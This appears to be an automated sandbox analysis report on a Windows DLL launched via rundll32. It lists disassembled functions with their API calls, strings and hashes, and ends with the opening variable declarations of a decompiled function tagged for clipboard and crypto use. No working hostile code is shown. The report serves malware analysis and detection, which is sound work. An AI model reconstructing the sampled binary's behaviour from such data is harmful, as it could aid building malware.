Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: 8ae66dc61bb2168d8491c6587d8b0c185cba3f0793e3a00eca5a6c596119b6cb
Instruction ID: cac2e8effbbbd27aca554af27d837960f0a3de16c9b0e4b7b1595a9c130c006a
Opcode Fuzzy Hash: 8ae66dc61bb2168d8491c6587d8b0c185cba3f0793e3a00eca5a6c596119b6cb
Instruction Fuzzy Hash: 11614875E04219DF9B14CFE8C8805EEFBF9EF68314B24856AD854E7348D731AE418BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED22570, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 6ED2260F

Part of subcall function 6ED3838E: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,00000000,24448D6E,6ED352C0,?,6ED6A014,?,?,?,24448D6E), ref: 6ED383EE

Strings

ios_base::failbit set, xrefs: 6ED224A5, 6ED225B1
ios_base::badbit set, xrefs: 6ED225A7, 6ED225D2, 6ED225F3
ios_base::eofbit set, xrefs: 6ED225B6

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3109751735-1866435925
Opcode ID: 7c9e58178f2940a7b122d3fdbbe6e909d3f49107b9fdc9eb2a688df510dce421
Instruction ID: a81c4977266397507cbe5cf77e6345379a155e30c6bed2e8e0f9399b43b074f9
Opcode Fuzzy Hash: 7c9e58178f2940a7b122d3fdbbe6e909d3f49107b9fdc9eb2a688df510dce421
Instruction Fuzzy Hash: E01105B2910705AFCB00CFE8D811BC6B3ACAF55218F14892AFA64DB781F771E95487E1

Uniqueness

Uniqueness Score: -1.00%

Function 6ED48C8A, Relevance: 6.3, APIs: 4, Instructions: 321COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 6ED48D11

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c6eeac3a0afb6fc0eee6d046547c1b18ec6dde7edbe5f8b8ae7182ce1f33a42d
Instruction ID: 73b4efdfd21126e82a91976827aa97ec9f2609114c80ff07d301c71c0560c956
Opcode Fuzzy Hash: c6eeac3a0afb6fc0eee6d046547c1b18ec6dde7edbe5f8b8ae7182ce1f33a42d
Instruction Fuzzy Hash: 5BB1077A905246DFDB01CFA8C8907EEBBF5EF65380F1445AAE854AB341D735C901CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED39BE3, Relevance: 6.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 6ED39CAA
___AdjustPointer.LIBCMT ref: 6ED39CCD
___AdjustPointer.LIBCMT ref: 6ED39D69

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 749345edbac731abce930a739a39ae972fbcf2bb2ee5d59d07964efaad56cc29
Instruction ID: d21f75ed077f8cf898067166441742f464069959a7df0f2fbc849c1d01a5ce95
Opcode Fuzzy Hash: 749345edbac731abce930a739a39ae972fbcf2bb2ee5d59d07964efaad56cc29
Instruction Fuzzy Hash: 7751F372604623EFEB468FD5E851BAA77B4EF06315F30052DE85647298EF32D841C760

Uniqueness

Uniqueness Score: -1.00%

Function 6ED27D80, Relevance: 6.1, APIs: 4, Instructions: 121COMMON

Download Yara Rule

APIs

SysStringLen.OLEAUT32(?), ref: 6ED27DB1

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: String
String ID:
API String ID: 2568140703-0
Opcode ID: 05d36651e6e150a57ce61ec10e39854ab7c1656d14c8bdfc65ec16360cfa585d
Instruction ID: 8bd85733e544d32914d52e4d292ca1d9cb2cef69cd771f08ebc105c5622dfd93
Opcode Fuzzy Hash: 05d36651e6e150a57ce61ec10e39854ab7c1656d14c8bdfc65ec16360cfa585d
Instruction Fuzzy Hash: 7931C732B08216DF9B18CEAED49167EBBE5EF45770710827EED15C7284EB31D850C690

Uniqueness

Uniqueness Score: -1.00%

Function 6ED4B760, Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6ED47C0A: _free.LIBCMT ref: 6ED47C18

Part of subcall function 6ED4C80B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,?,00000000,00000000,00000000,?,6ED4E018,?,00000000,00000000), ref: 6ED4C8AD

GetLastError.KERNEL32 ref: 6ED4B7C8
__dosmaperr.LIBCMT ref: 6ED4B7CF
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 6ED4B80E
__dosmaperr.LIBCMT ref: 6ED4B815

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: ed4c106732fadb3a6c772d4ee079c5d735c326b6d80a9af21d2b3733ef5b19ec
Instruction ID: 8b26a71245c79c81a3b909a749d590fffe81cc5c797c83969beedbb740a75227
Opcode Fuzzy Hash: ed4c106732fadb3a6c772d4ee079c5d735c326b6d80a9af21d2b3733ef5b19ec
Instruction Fuzzy Hash: 4021B371604615EF97109FE6CC809AFB7ACFF753687044918E8659B298E731ED418BB0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED4897C, Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00000000,00000004,6ED3B7B1,00000000,00000000,00000000,?,6ED4D694,00000000,00000000,?,01384FE0,00000000), ref: 6ED48981
_free.LIBCMT ref: 6ED489DE
_free.LIBCMT ref: 6ED48A14
SetLastError.KERNEL32(00000000,00000008,000000FF,?,6ED4D694,00000000,00000000,?,01384FE0,00000000), ref: 6ED48A1F

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: b87d8cb6a5d72242c34abb76a5fae5e0feed4c1dbc15a370737d27abef51dca6
Instruction ID: 2913f0ae51247874ad331a609ccfaa58bdcc8c51efb5700854edec31629d0e6c
Opcode Fuzzy Hash: b87d8cb6a5d72242c34abb76a5fae5e0feed4c1dbc15a370737d27abef51dca6
Instruction Fuzzy Hash: DA112036204945FFFB416BF99C80E6B36ADEBE22FCB340524F124661C4EFA0C80641B1

Uniqueness

Uniqueness Score: -1.00%

Function 6ED48AD3, Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,6ED44AA1,6ED482CF,?,?,6ED37EB3,?,?,24448D6E,00000000,?,6ED218D7,?,?), ref: 6ED48AD8
_free.LIBCMT ref: 6ED48B35
_free.LIBCMT ref: 6ED48B6B
SetLastError.KERNEL32(00000000,00000008,000000FF,?,6ED37EB3,?,?,24448D6E,00000000,?,6ED218D7,?,?,?), ref: 6ED48B76

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: d40ce852f317e4f8e7269cf033a490dbf0b649e556c3490e6fe0b2e05df69119
Instruction ID: 832fb8ecb1ba25f4eccb3eb25dba3e8e14504126e32e296bac643c3015da3a1d
Opcode Fuzzy Hash: d40ce852f317e4f8e7269cf033a490dbf0b649e556c3490e6fe0b2e05df69119
Instruction Fuzzy Hash: FE11EC76614605FFEB416BF99C80D5A366DEBE22F8B340624F124A61C4EF61C80645B0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED56EEE, Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,6ED46918,00000000,?,?,6ED5631D,?,00000001,?,00000001,?,6ED4E85A,00000000,00000000,00000001), ref: 6ED56F05
GetLastError.KERNEL32(?,6ED5631D,?,00000001,?,00000001,?,6ED4E85A,00000000,00000000,00000001,00000000,00000001,?,6ED4EDAE,6ED4685B), ref: 6ED56F11

Part of subcall function 6ED56ED7: CloseHandle.KERNEL32(FFFFFFFE,6ED56F21,?,6ED5631D,?,00000001,?,00000001,?,6ED4E85A,00000000,00000000,00000001,00000000,00000001), ref: 6ED56EE7

___initconout.LIBCMT ref: 6ED56F21

Part of subcall function 6ED56E99: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6ED56EC8,6ED5630A,00000001,?,6ED4E85A,00000000,00000000,00000001,00000000), ref: 6ED56EAC

WriteConsoleW.KERNEL32(?,?,6ED46918,00000000,?,6ED5631D,?,00000001,?,00000001,?,6ED4E85A,00000000,00000000,00000001,00000000), ref: 6ED56F36

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 3ea6428cc1050077ba688b0fdc2957ca80ee0164d6c427a6b312bce93eb46215
Instruction ID: 0d20e50d955c89d8c90d99652b83e1263b064fbade94d7e6d2417d221d24248d
Opcode Fuzzy Hash: 3ea6428cc1050077ba688b0fdc2957ca80ee0164d6c427a6b312bce93eb46215
Instruction Fuzzy Hash: 26F01C36521625BBDF521FE5DC0498E3F36FF097A0F154411FA1895260C732C831DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED27E90, Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 6ED27E97
VariantCopy.OLEAUT32(?,?), ref: 6ED27EA1
_com_issue_error.COMSUPP ref: 6ED27EB3
VariantClear.OLEAUT32 ref: 6ED27EC1

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: Variant$ClearCopyInit_com_issue_error
String ID:
API String ID: 309108855-0
Opcode ID: e552fd807f14b2cf8173f396970fda67146d260ec06962c22a1e5b49e8b058b7
Instruction ID: ae66137afb5de0f8813afc3e7d7cac5d68009011f29e2e377fabbd82cc1582b9
Opcode Fuzzy Hash: e552fd807f14b2cf8173f396970fda67146d260ec06962c22a1e5b49e8b058b7
Instruction Fuzzy Hash: 7BD05E722019397BAE152BE59D0DECB7F5CFE022563005921F714C1500DB7AC90187F4

Uniqueness

Uniqueness Score: -1.00%

Function 6ED4598D, Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6ED45996

Part of subcall function 6ED48252: HeapFree.KERNEL32(00000000,00000000,?,6ED53A72,?,00000000,?,?,?,6ED53D17,?,00000007,?,?,6ED51D29,?), ref: 6ED48268
Part of subcall function 6ED48252: GetLastError.KERNEL32(?,?,6ED53A72,?,00000000,?,?,?,6ED53D17,?,00000007,?,?,6ED51D29,?,?), ref: 6ED4827A

_free.LIBCMT ref: 6ED459A9
_free.LIBCMT ref: 6ED459BA
_free.LIBCMT ref: 6ED459CB

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 7d014d93bebad692537e3387e1d4b3a8959d8018670a7a8c676e27e758855fc4
Instruction ID: efcce917310945080129df82eddf71240b4de7b53a8c7e6c4ba9231007e69d59
Opcode Fuzzy Hash: 7d014d93bebad692537e3387e1d4b3a8959d8018670a7a8c676e27e758855fc4
Instruction Fuzzy Hash: E1E04F74424D20DBEE911F50CA404E53B35EBDA798B51481AF80082298C73906539BF2

Uniqueness

Uniqueness Score: -1.00%

Function 6ED2BD70, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 202COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 6ED2BEED
std::_Xinvalid_argument.LIBCPMT ref: 6ED2BFAC

Strings

unordered_map/set too long, xrefs: 6ED2BFA7

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: Xinvalid_argument__floor_pentium4std::_
String ID: unordered_map/set too long
API String ID: 3194428529-306623848
Opcode ID: 6a4367922501234dbe60bea024265c19d0d2fdc1dee91883062f006a404ef47b
Instruction ID: b292bf08079d8d2557fdd990c60e4f45c7be1446eca9b52e0fa3952249040589
Opcode Fuzzy Hash: 6a4367922501234dbe60bea024265c19d0d2fdc1dee91883062f006a404ef47b
Instruction Fuzzy Hash: 3171AE71A04609CFDB11CFA9C490A9EFBF4FF49318F10866AE555AB381E771A941CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED478ED, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 6ED4797D

Strings

pow, xrefs: 6ED47955, 6ED47972

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: bc4246c3c2bf391f3d919b4e65b1cb77cdab8fd70a8671be4a95f6443d13fab4
Instruction ID: ef06c49b0a553d3aadc30746a31c515f1aab4e972cb608f45cd64a43d1b07294
Opcode Fuzzy Hash: bc4246c3c2bf391f3d919b4e65b1cb77cdab8fd70a8671be4a95f6443d13fab4
Instruction Fuzzy Hash: A5515A61A19A02EBDF417FD4C91139A3BB4EB51750F208D69E4E5823DCEF34C4E98B82

Uniqueness

Uniqueness Score: -1.00%

Function 6ED339A0, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 186COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 6ED33AE2
std::_Xinvalid_argument.LIBCPMT ref: 6ED33BAB

Strings

unordered_map/set too long, xrefs: 6ED33BA6

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: Xinvalid_argument__floor_pentium4std::_
String ID: unordered_map/set too long
API String ID: 3194428529-306623848
Opcode ID: a8733e56e1394cf1c09c9d6045484bf1bcf6cadaf36ac79b5eeb8d2b91bbe496
Instruction ID: a24f230d80eef823ec0f16a2052dc342662567acd66791ca75f6ec6b7bacc29b
Opcode Fuzzy Hash: a8733e56e1394cf1c09c9d6045484bf1bcf6cadaf36ac79b5eeb8d2b91bbe496
Instruction Fuzzy Hash: 34619F70E0461ADFCB15CFA9C544A9EF7B5FF4A304F20866AD415AB241E731E991CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED22490, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 152COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 6ED2260F

Part of subcall function 6ED3838E: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,00000000,24448D6E,6ED352C0,?,6ED6A014,?,?,?,24448D6E), ref: 6ED383EE

Strings

ios_base::failbit set, xrefs: 6ED224A5
ios_base::badbit set, xrefs: 6ED225A7, 6ED225D2, 6ED225F3

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: ios_base::badbit set$ios_base::failbit set
API String ID: 3109751735-1240500531
Opcode ID: 798151d5c37a5dc079d2fa793d8f08d0c889c8031ffc24f81d5cba12f85c4c18
Instruction ID: 7f7452a321633b585f945ce9fee8b16c09df2f2385de7f31b560a8e2591f6d9c
Opcode Fuzzy Hash: 798151d5c37a5dc079d2fa793d8f08d0c889c8031ffc24f81d5cba12f85c4c18
Instruction Fuzzy Hash: 3341C6B1910205AFDB04CFA8C850BDEF7BCEF4A318F14852AF554A7780E775A9458BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED450A9, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 124COMMON

Download Yara Rule

Strings

C:\Windows\SYSTEM32\loaddll32.exe, xrefs: 6ED450EC, 6ED450F3, 6ED45129

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: C:\Windows\SYSTEM32\loaddll32.exe
API String ID: 0-1872383224
Opcode ID: 093f6accaff0cb4b9c5f52a7bc0af12ccffe2d14649a07cdf25366ce035934d7
Instruction ID: 40b1f98d327618387a685a3d27c7f0f3b920c95ec0976a190dd163e1eb1b24a6
Opcode Fuzzy Hash: 093f6accaff0cb4b9c5f52a7bc0af12ccffe2d14649a07cdf25366ce035934d7
Instruction Fuzzy Hash: 334181B1A44619EFDB52DFD9CC809DEBBFDEFA6314F200466E80497280D7719A41CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED3A1E4, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 6ED3A209

Strings

MOC, xrefs: 6ED3A21B
RCC, xrefs: 6ED3A223

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 833be7f0759d23fe9f2bb46d1eced75c6777394f29df748e7a59da9c5c74c8a8
Instruction ID: e581c787a2b98fdc4f5bddb7927d8b74a55418b7f998fcee6731bc14a1326d0a
Opcode Fuzzy Hash: 833be7f0759d23fe9f2bb46d1eced75c6777394f29df748e7a59da9c5c74c8a8
Instruction Fuzzy Hash: 96416776A0011AEFDF16CFD4CD80AEEBBB6AF0A304F258159E90566250D336D951CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6ED21A70, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6ED21A75

Part of subcall function 6ED352A1: std::invalid_argument::invalid_argument.LIBCONCRT ref: 6ED352AD

___std_exception_copy.LIBVCRUNTIME ref: 6ED21A9E

Strings

string too long, xrefs: 6ED21A70

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: Xinvalid_argument___std_exception_copystd::_std::invalid_argument::invalid_argument
String ID: string too long
API String ID: 1846318660-2556327735
Opcode ID: 298f0516ff68341fa62f2ccfb379cbe179f64f81f99be27bc40ff18fb218c8c3
Instruction ID: 0ffcca8deb8bbdfe2cfb4916c77fbddafd2b1b2c78172f653c6662fe563e8f4b
Opcode Fuzzy Hash: 298f0516ff68341fa62f2ccfb379cbe179f64f81f99be27bc40ff18fb218c8c3
Instruction Fuzzy Hash: 28E0C2729202696BCA109FD8DC018C6B79DDF16518720892BF758EB700E770E89087B4

Uniqueness

Uniqueness Score: -1.00%

Function 6ED37089, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 6ED27BA0: InitializeCriticalSectionEx.KERNEL32(?,00000000,00000000,?,6ED6AA84), ref: 6ED27BA5
Part of subcall function 6ED27BA0: GetLastError.KERNEL32(?,00000000,00000000,?,6ED6AA84), ref: 6ED27BAF

IsDebuggerPresent.KERNEL32(?,?,?,6ED211DF), ref: 6ED370BC
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,6ED211DF), ref: 6ED370CB

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 6ED370C6

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalDebugDebuggerErrorInitializeLastOutputPresentSectionString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3511171328-631824599
Opcode ID: f3f74c368b0f81b81fd0fafd0dab35b5bd3a263496b5b26d27c9742db4c633dc
Instruction ID: aca07aa37958c138cb39781fa302ec111dba31c2267f4a204c632131d251f401
Opcode Fuzzy Hash: f3f74c368b0f81b81fd0fafd0dab35b5bd3a263496b5b26d27c9742db4c633dc
Instruction Fuzzy Hash: 3AE03970201B21CEE7609FA8C504742BBE8AB06704F108D6DE595C6780EBB5D0458BA1

Uniqueness

Uniqueness Score: -1.00%

Function 6ED373A0, Relevance: 5.0, APIs: 4, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000008,00000000,6ED3226B), ref: 6ED373A5
HeapAlloc.KERNEL32(00000000), ref: 6ED373AC
GetProcessHeap.KERNEL32(00000000,00000000), ref: 6ED373F2
HeapFree.KERNEL32(00000000), ref: 6ED373F9

Part of subcall function 6ED3723E: GetProcessHeap.KERNEL32(00000008,0000000D,00000000,?,6ED373E8,00000000), ref: 6ED37262
Part of subcall function 6ED3723E: HeapAlloc.KERNEL32(00000000), ref: 6ED37269

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Process$Alloc$Free
String ID:
API String ID: 1864747095-0
Opcode ID: bd287c16a4a443d3f840edd8cb100548248c0a87f5356a2201a5f2c6739e27b7
Instruction ID: e9983dfe2bdf860971b8afe96c3ad4d25b914fce71f49ecfea43373d4fde2421
Opcode Fuzzy Hash: bd287c16a4a443d3f840edd8cb100548248c0a87f5356a2201a5f2c6739e27b7
Instruction Fuzzy Hash: A5F0B433644F31EBEB612BFCAC0898F6F699F83661B214818F995C62C4DE20C40287B0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 5192 Parent PID: 5636 rundll32.exeCOMMON

Executed Functions

Function 6ED26100, Relevance: 63.2, APIs: 41, Instructions: 1688
windowclipboardthreadCOMMONCrypto

Download Yara Rule

C-Code - Quality: 34%

			E6ED26100(void* __ebx, signed int __ecx, void* __edx, void* __edi) {
				signed int _v8;
				signed int _v12;
				void* _v16;
				signed int _v24;
				signed char _v28;
				signed int _v32;
				signed int _v36;
				signed char _v40;
				signed int _v44;
				signed int _v48;
				unsigned int _v52;
				signed int _v56;
				signed int _v65;
				signed int _v72;
				signed int _v76;
				signed char _v80;
				signed int _v88;
				signed int _v92;
				signed char _v96;
				signed int _v116;
				char _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				signed int _v144;
				char _v148;
				signed int _v152;
				signed int _v172;
				void* __esi;
				signed int _t354;
				signed int _t355;
				void* _t360;
				void* _t361;
				signed char _t368;
				struct HWND__* _t370;
				signed int _t375;
				signed int _t376;
				signed char _t383;
				signed int _t384;
